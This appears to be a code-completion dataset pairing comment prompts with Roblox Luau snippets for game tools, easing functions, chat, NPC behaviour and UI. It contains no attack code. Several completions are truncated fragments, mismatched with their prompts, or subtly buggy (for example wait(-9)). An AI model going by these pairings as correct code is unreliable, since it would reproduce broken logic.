prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--Set up firing the rocket.
|
FireRocketEvent.OnServerEvent:Connect(function(Player)
if Player == CurrentPlayer and ToolEnabled then
ToolEnabled = false
Tool.Enabled = false
CurrentRocket = RocketBuffer:PopItem() or CurrentRocket
local FiredBy = Instance.new("ObjectValue")
FiredBy.Name = "FiredBy"
FiredBy.Value = Player
FiredBy.Parent = CurrentRocket
wait(ROCKET_RELOAD_TIME)
AddBufferRocket()
ToolEnabled = true
Tool.Enabled = true
end
end)
|
--s.Pitch = 0.7
|
while s.Pitch<0.65 do
s.Pitch=s.Pitch+0.009
s:Play()
if s.Pitch>1 then
s.Pitch=1
end
wait(-9)
end
while s.Pitch<0.97 do
s.Pitch=s.Pitch+0.003
s:Play()
if s.Pitch>1 then
s.Pitch=1
end
wait(-9)
end
|
--[[
SoftShutdown 1.2
Author: Merely
This systesm lets you shut down servers without losing a bunch of players.
When game.OnClose is called, the script teleports everyone in the server
into a reserved server.
When the reserved servers start up, they wait a few seconds, and then
send everyone back into the main place.
I added wait() in a couple of places because if you don't, everyone will spawn into
their own servers with only 1 player.
--]]
|
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
if (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then
-- this is a reserved server without a VIP server owner
local m = Instance.new("Message")
m.Text = "This is a temporary lobby. Teleporting back in a moment."
m.Parent = workspace
local waitTime = 5
Players.PlayerAdded:connect(function(player)
wait(waitTime)
waitTime = waitTime / 2
TeleportService:Teleport(game.PlaceId, player)
end)
for _,player in pairs(Players:GetPlayers()) do
TeleportService:Teleport(game.PlaceId, player)
wait(waitTime)
waitTime = waitTime / 2
end
else
game:BindToClose(function()
if (#Players:GetPlayers() == 0) then
return
end
if (game.JobId == "") then
-- Offline
return
end
local DataStore2 = require(game.ServerScriptService.MainModule)
for _,player in pairs(Players:GetPlayers()) do
local data = DataStore2("Stats",player):Get()
DataStore2("Stats",player):Update(function(old)
return data
end)
end
local m = Instance.new("Message")
m.Text = "Rebooting servers for update. Please wait"
m.Parent = workspace
wait(2)
local reservedServerCode = TeleportService:ReserveServer(game.PlaceId)
for _,player in pairs(Players:GetPlayers()) do
TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
end
Players.PlayerAdded:connect(function(player)
TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
end)
while (#Players:GetPlayers() > 0) do
wait(1)
end
-- done
end)
end
|
-- SERVICES --
|
local UIS = game:GetService("UserInputService")
local RS = game:GetService("ReplicatedStorage")
local TS = game:GetService("TweenService")
local CS = game:GetService("CollectionService")
|
--!strict
|
local function lastIndexOf(str: string, searchValue: string, fromIndex: number?): number
local strLength = string.len(str)
local calculatedFromIndex
if fromIndex then
calculatedFromIndex = fromIndex
else
calculatedFromIndex = strLength
end
if fromIndex and fromIndex < 1 then
calculatedFromIndex = 1
end
if fromIndex and fromIndex > strLength then
calculatedFromIndex = strLength
end
if searchValue == "" then
-- FIXME: Luau DFA doesn't understand that
return calculatedFromIndex :: number
end
local lastFoundStartIndex, foundStartIndex
-- Luau FIXME: Luau doesn't look beyond assignment for type, it should infer number? from loop bound
local foundEndIndex: number? = 0
repeat
lastFoundStartIndex = foundStartIndex
-- Luau FIXME: DFA doesn't understand until clause means foundEndIndex is never nil within loop
foundStartIndex, foundEndIndex = string.find(str, searchValue, foundEndIndex :: number + 1, true)
until foundStartIndex == nil or foundStartIndex > calculatedFromIndex
if lastFoundStartIndex == nil then
return -1
end
-- Luau FIXME: Luau should see the predicate above and known the line below can only be a number
return lastFoundStartIndex :: number
end
return lastIndexOf
|
-- << REMOTE LIMITS / SANITY CHECKS >>
|
local remoteRefreshRate = 5
local remoteLimits = {
["RemoteFunction"] = 20;
["RemoteEvent"] = 10;
}
local sanityChecks = {}
local function checkRemoteLimit(player, remote)
local remoteType = remote.ClassName
local remoteLimit = remoteLimits[remoteType]
if not sanityChecks[player] then
sanityChecks[player] = {}
end
local requests = sanityChecks[player][remote]
if not requests then
requests = 1
sanityChecks[player][remote] = requests
else
sanityChecks[player][remote] = requests + 1
end
if requests > remoteLimit then
main:GetModule("cf"):FormatAndFireError(player, "RequestsLimit")
if remoteType == "RemoteFunction" then
wait(1)
end
return false
end
return true
end
coroutine.wrap(function()
while true do
wait(remoteRefreshRate)
sanityChecks = {}
end
end)()
|
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.65,0.55,-1.2) * CFrame.Angles(math.rad(-110),math.rad(20),math.rad(0))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.55,0.30,-1.15) * CFrame.Angles(math.rad(-110),math.rad(20),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,-0.05,-1.55) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()
wait(0.5)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.35)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(0.8, -.25, 0.15) * CFrame.Angles(math.rad(-90), math.rad(180), math.rad(90))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
wait(0.75)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
-- Function to handle button clicks
|
local function castVote(mapName)
-- Check if the map name is valid
for _, map in ipairs(availableMaps) do
if map == mapName then
-- Increment the vote count for the selected map
if not mapVotes[map] then
mapVotes[map] = 0
end
mapVotes[map] = mapVotes[map] + 1
break
end
end
end
|
-- a: amplitud
-- p: period
|
local function outInElastic(t, b, c, d, a, p)
if t < d / 2 then
return outElastic(t * 2, b, c / 2, d, a, p)
else
return inElastic((t * 2) - d, b + c / 2, c / 2, d, a, p)
end
end
local function inBack(t, b, c, d, s)
if not s then s = 1.70158 end
t = t / d
return c * t * t * ((s + 1) * t - s) + b
end
local function outBack(t, b, c, d, s)
if not s then s = 1.70158 end
t = t / d - 1
return c * (t * t * ((s + 1) * t + s) + 1) + b
end
local function inOutBack(t, b, c, d, s)
if not s then s = 1.70158 end
s = s * 1.525
t = t / d * 2
if t < 1 then
return c / 2 * (t * t * ((s + 1) * t - s)) + b
else
t = t - 2
return c / 2 * (t * t * ((s + 1) * t + s) + 2) + b
end
end
local function outInBack(t, b, c, d, s)
if t < d / 2 then
return outBack(t * 2, b, c / 2, d, s)
else
return inBack((t * 2) - d, b + c / 2, c / 2, d, s)
end
end
local function outBounce(t, b, c, d)
t = t / d
if t < 1 / 2.75 then
return c * (7.5625 * t * t) + b
elseif t < 2 / 2.75 then
t = t - (1.5 / 2.75)
return c * (7.5625 * t * t + 0.75) + b
elseif t < 2.5 / 2.75 then
t = t - (2.25 / 2.75)
return c * (7.5625 * t * t + 0.9375) + b
else
t = t - (2.625 / 2.75)
return c * (7.5625 * t * t + 0.984375) + b
end
end
local function inBounce(t, b, c, d)
return c - outBounce(d - t, 0, c, d) + b
end
local function inOutBounce(t, b, c, d)
if t < d / 2 then
return inBounce(t * 2, 0, c, d) * 0.5 + b
else
return outBounce(t * 2 - d, 0, c, d) * 0.5 + c * .5 + b
end
end
local function outInBounce(t, b, c, d)
if t < d / 2 then
return outBounce(t * 2, b, c / 2, d)
else
return inBounce((t * 2) - d, b + c / 2, c / 2, d)
end
end
return {
linear = linear,
inQuad = inQuad,
outQuad = outQuad,
inOutQuad = inOutQuad,
inCubic = inCubic ,
outCubic = outCubic,
inOutCubic = inOutCubic,
outInCubic = outInCubic,
inQuart = inQuart,
outQuart = outQuart,
inOutQuart = inOutQuart,
outInQuart = outInQuart,
inQuint = inQuint,
outQuint = outQuint,
inOutQuint = inOutQuint,
outInQuint = outInQuint,
inSine = inSine,
outSine = outSine,
inOutSine = inOutSine,
outInSine = outInSine,
inExpo = inExpo,
outExpo = outExpo,
inOutExpo = inOutExpo,
outInExpo = outInExpo,
inCirc = inCirc,
outCirc = outCirc,
inOutCirc = inOutCirc,
outInCirc = outInCirc,
inElastic = inElastic,
outElastic = outElastic,
inOutElastic = inOutElastic,
outInElastic = outInElastic,
inBack = inBack,
outBack = outBack,
inOutBack = inOutBack,
outInBack = outInBack,
inBounce = inBounce,
outBounce = outBounce,
inOutBounce = inOutBounce,
outInBounce = outInBounce,
}
|
--!strict
|
local String = script.Parent
local LuauPolyfill = String.Parent
local Number = require(LuauPolyfill.Number)
local NaN = Number.NaN
|
--////////////////////////////// Methods
--//////////////////////////////////////
|
local function ShallowCopy(table)
local copy = {}
for i, v in pairs(table) do
copy[i] = v
end
return copy
end
local methods = {}
methods.__index = methods
function methods:SayMessage(message, channelName, extraData)
if (self.ChatService:InternalDoProcessCommands(self.Name, message, channelName)) then return end
if (not channelName) then return end
local channel = self.Channels[channelName:lower()]
if (not channel) then
error("Speaker is not in channel \"" .. channelName .. "\"")
end
local messageObj = channel:InternalPostMessage(self, message, extraData)
if (messageObj) then
local success, err = pcall(function() self.eSaidMessage:Fire(messageObj, channelName) end)
if not success and err then
print("Error saying message: " ..err)
end
end
return messageObj
end
function methods:JoinChannel(channelName)
if (self.Channels[channelName:lower()]) then
warn("Speaker is already in channel \"" .. channelName .. "\"")
return
end
local channel = self.ChatService:GetChannel(channelName)
if (not channel) then
error("Channel \"" .. channelName .. "\" does not exist!")
end
self.Channels[channelName:lower()] = channel
channel:InternalAddSpeaker(self)
local success, err = pcall(function()
self.eChannelJoined:Fire(channel.Name, channel:GetWelcomeMessageForSpeaker(self))
end)
if not success and err then
print("Error joining channel: " ..err)
end
end
function methods:LeaveChannel(channelName)
if (not self.Channels[channelName:lower()]) then
warn("Speaker is not in channel \"" .. channelName .. "\"")
return
end
local channel = self.Channels[channelName:lower()]
self.Channels[channelName:lower()] = nil
channel:InternalRemoveSpeaker(self)
local success, err = pcall(function()
self.eChannelLeft:Fire(channel.Name)
end)
if not success and err then
print("Error leaving channel: " ..err)
end
end
function methods:IsInChannel(channelName)
return (self.Channels[channelName:lower()] ~= nil)
end
function methods:GetChannelList()
local list = {}
for i, channel in pairs(self.Channels) do
table.insert(list, channel.Name)
end
return list
end
function methods:SendMessage(message, channelName, fromSpeaker, extraData)
local channel = self.Channels[channelName:lower()]
if (channel) then
channel:SendMessageToSpeaker(message, self.Name, fromSpeaker, extraData)
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a message in it.", self.Name, channelName))
end
end
function methods:SendSystemMessage(message, channelName, extraData)
local channel = self.Channels[channelName:lower()]
if (channel) then
channel:SendSystemMessageToSpeaker(message, self.Name, extraData)
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a system message in it.", self.Name, channelName))
end
end
function methods:GetPlayer()
return self.PlayerObj
end
function methods:SetExtraData(key, value)
self.ExtraData[key] = value
self.eExtraDataUpdated:Fire(key, value)
end
function methods:GetExtraData(key)
return self.ExtraData[key]
end
function methods:SetMainChannel(channelName)
local success, err = pcall(function() self.eMainChannelSet:Fire(channelName) end)
if not success and err then
print("Error setting main channel: " ..err)
end
end
|
--[=[
Accepts an array of Promises and returns a Promise that is resolved as soon as *any* of the input Promises resolves. It will reject only if *all* input Promises reject. As soon as one Promises resolves, all other pending Promises are cancelled if they have no other consumers.
Resolves directly with the value of the first resolved Promise. This is essentially [[Promise.some]] with `1` count, except the Promise resolves with the value directly instead of an array with one element.
```lua
local promises = {
returnsAPromise("example 1"),
returnsAPromise("example 2"),
returnsAPromise("example 3"),
}
return Promise.any(promises) -- Resolves with first value to resolve (only rejects if all 3 rejected)
```
@param promises {Promise<T>}
@return Promise<T>
]=]
|
function Promise.any(promises)
return Promise._all(debug.traceback(nil, 2), promises, 1):andThen(function(values)
return values[1]
end)
end
|
-- LocalScript:
|
local Open = false
local Frame = script.Parent.Parent.TextButton
local Button = script.Parent
function Clicked()
if Open == false then
Open = true
Frame.Visible = true
Button.Text = "Close" -- Closes the Frame
elseif Open == true then
Open = false
Frame.Visible = false
Button.Text = "Open" -- Opens the Frame
end
end
Button.MouseButton1Click:connect(Clicked)
|
-- Call the updateDate function to set the initial date
|
updateDate()
|
---------------------------------------------------------------------------------------
|
configuration.MenuFieldOfView.Changed:Connect(function()
customMenuFieldOfView = defaultMenuFieldOfView * configuration.MenuFieldOfView.Value
menuFieldOfViewChange = ts:Create(currentCamera, ti2, {FieldOfView = customMenuFieldOfView})
menuFieldOfViewChange:Play()
end)
configuration.MenuBlurIntensity.Changed:Connect(function()
customMenuBlurIntesity = defaultMenuBlurIntensity * configuration.MenuBlurIntensity.Value
blurOpen = ts:Create(game.Lighting.Blur, ti2, {Size = customMenuBlurIntesity})
blurOpen:Play()
end)
configuration.MenuMusic.Changed:Connect(function()
Sounds.MenuMusic.Playing = configuration.MenuMusic.Value
end)
configuration.MenuMusicVolume.Changed:Connect(function()
customMenuMusicVolume = defaultMenuMusicVolume * configuration.MenuMusicVolume.Value
menuMusicOn = ts:Create(Sounds.MenuMusic, ti, {Volume = customMenuMusicVolume})
menuMusicOn:Play()
end)
configuration.GameMusicVolume.Changed:Connect(function()
customGameMusicVolume = defaultGameMusicVolume * customGameMusicVolume
gameMusicOn = ts:Create(Sounds.GameMusic, ti, {Volume = customGameMusicVolume})
gameMusicOn:Play()
end)
|
-- You can modify these.
|
-- Choose your BrickColors. Use the name, and put it inside quotes like below.
colortable = {
"Bright blue",
"Bright red",
"Bright green",
"Bright yellow",
"Bright orange",
"Cyan",
"Bright violet",
"Carnation pink",
"white",
"Brown",
"Dark stone grey",
"Black",
}
-- Determines what model gets painted.
tgt = script.Parent
-- Rename this if your colorable parts are a different name.
-- Don't use "Part" unless this script is in a paint model.
paintpart = "Color"
|
--slowest
-- ONLY ONE MODE AT A TIME, LOLOLOLOL
|
script.Parent.Color = Color3.new(math.random(),math.random(),math.random())
wait(10)
mode7()
end
function mode8()
|
-- ROBLOX GLOBALS
|
export type CharacterType = Model & {
Humanoid: Humanoid & {
Animator: Animator?,
HumanoidDescription: HumanoidDescription?
},
HumanoidRootPart: Part & {
RootJoint: Motor6D
},
Head: Part & {
face: Decal
},
Torso: Part & {
roblox: Decal,
["Neck"]: Motor6D,
["Left Hip"]: Motor6D,
["Right Hip"]: Motor6D,
["Left Shoulder"]: Motor6D,
["Right Shoulder"]: Motor6D,
},
["Left Arm"]: Part,
["Left Leg"]: Part,
["Right Arm"]: Part,
["Right Leg"]: Part
}
export type RagdollCharacterType = CharacterType & {
Collisions: Folder & {
Rigged_Head: Part,
["Rigged_Left Arm"]: Part,
["Rigged_Left Leg"]: Part,
["Rigged_Right Arm"]: Part,
["Rigged_Right Leg"]: Part
}
}
|
--Zombie artificial stupidity script
|
sp=script.Parent
lastattack=0
nextrandom=0
nextsound=0
nextjump=0
chasing=false
variance=4
damage=10
attackrange=4.5
sightrange=999--60
runspeed=10
wonderspeed=8
healthregen=false
colors={"Sand red","Dusty Rose","Medium blue","Sand blue","Lavender","Earth green","Brown","Medium stone grey","Brick yellow"}
function raycast(spos,vec,currentdist)
local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),script.Parent)
if hit2~=nil and pos2 then
if hit2.Parent==script.Parent and hit2.Transparency>=.8 or hit2.Name=="Handle" or string.sub(hit2.Name,1,6)=="Effect" or hit2.Parent:IsA("Hat") or hit2.Parent:IsA("Tool") or (hit2.Parent:FindFirstChild("Humanoid") and hit2.Parent:FindFirstChild("TEAM") and hit2.Parent:FindFirstChild("TEAM").Value == script.Parent.TEAM.Value) or (not hit2.Parent:FindFirstChild("Humanoid") and hit2.CanCollide==false) then
local currentdist=currentdist-(pos2-spos).magnitude
return raycast(pos2,vec,currentdist)
end
end
return hit2,pos2
end
function waitForChild(parent,childName)
local child=parent:findFirstChild(childName)
if child then return child end
while true do
child=parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
|
--[[ Local Functions ]]
|
--
local function onShiftLockToggled()
IsShiftLocked = not IsShiftLocked
if IsShiftLocked then
ShiftLockIcon.Image = SHIFT_LOCK_ON
Mouse.Icon = SHIFT_LOCK_CURSOR
else
ShiftLockIcon.Image = SHIFT_LOCK_OFF
Mouse.Icon = ""
end
ShiftLockController.OnShiftLockToggled:Fire()
end
local function initialize()
if ScreenGui then
ScreenGui:Destroy()
ScreenGui = nil
end
ScreenGui = Instance.new('ScreenGui')
ScreenGui.Name = "ControlGui"
local frame = Instance.new('Frame')
frame.Name = "BottomLeftControl"
frame.Size = UDim2.new(0, 130, 0, 46)
frame.Position = UDim2.new(0, 0, 1, -46)
frame.BackgroundTransparency = 1
frame.Parent = ScreenGui
ShiftLockIcon = Instance.new('ImageButton')
ShiftLockIcon.Name = "MouseLockLabel"
ShiftLockIcon.Size = UDim2.new(0, 31, 0, 31)
ShiftLockIcon.Position = UDim2.new(0, 12, 0, 2)
ShiftLockIcon.BackgroundTransparency = 1
ShiftLockIcon.Image = IsShiftLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF
ShiftLockIcon.Visible = true
ShiftLockIcon.Parent = frame
ShiftLockIcon.MouseButton1Click:connect(onShiftLockToggled)
ScreenGui.Parent = IsShiftLockMode and PlayerGui or nil
end
|
--[[*
* Call a function while guarding against errors that happens within it.
* Returns an error if it throws, otherwise nil.
*
* In production, this is implemented using a try-catch. The reason we don't
* use a try-catch directly is so that we can swap out a different
* implementation in DEV mode.
*
* @param {String} name of the guard to use for logging or debugging
* @param {Function} func The function to invoke
* @param {*} context The context to use when calling the function
* @param {...*} args Arguments for function
]]
|
exports.invokeGuardedCallback = function(...)
hasError = false
caughtError = nil
-- deviation: passing in reporter directly
invokeGuardedCallbackImpl(reporter, ...)
end
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
delay(4,function()
player.PlayerData.Events.Respawn:Fire()
end)
end
|
--yellow 8
|
if k == "y" and ibo.Value==true then
bin.Blade.BrickColor = BrickColor.new("New yeller")
bin.Blade2.BrickColor = BrickColor.new("Institutional white")
bin.Blade.White.Enabled=false colorbin.white.Value = false
bin.Blade.Blue.Enabled=false colorbin.blue.Value = false
